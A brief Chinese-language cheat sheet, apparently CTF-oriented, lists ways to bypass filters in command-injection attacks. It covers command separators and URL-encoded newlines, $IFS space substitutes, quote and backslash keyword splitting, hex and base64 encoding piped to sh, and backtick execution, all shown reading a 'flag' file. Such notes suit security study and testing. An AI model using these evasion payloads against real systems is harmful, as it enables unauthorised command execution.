1. 程式人生 > 實用技巧 >命令執行的一些繞過

命令執行的一些繞過

linux中的萬用字元

?:匹配一個任意字元

*:0到無窮個任意字元

[abc]:在括號內的任意一個字元

[a-c]:在編碼順序內的所有字元(連續)

{a,b}:以逗號分割的檔案列表進行拓展

多條命令執行

%0a 換行達到執行多條命令的目的
%0d 換行達到執行多條命令的目的
&	將命令變成背景下工作
&& 表示依次執行命令,有一個失敗,則退出執行,類似於迴圈中的break
|	左邊命令的輸出作為右邊命令的輸入,執行右邊的語句
|| 符號隔開,表示 依次執行命令,只要有一個執行成功,則退出執行
; 順序執行多條命令,當 ; 號前的命令執行完(不管是否執行成功),才執行 ; 後的命令。

替換空格

<
>
<>
$IFS$1
${IFS}$1

變數控制:

ascii碼

x=$'cat\x20flag';$x

空變數

$@
ca$@t flag
“
c"a"t flag
\
cat f\l\ag

變數替換

a=c;b=at;c=flag;$a$b $c

編碼

echo "Y2F0IGZsYWc=" | base64 -d |sh
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")

內聯執行

``
cat `ls`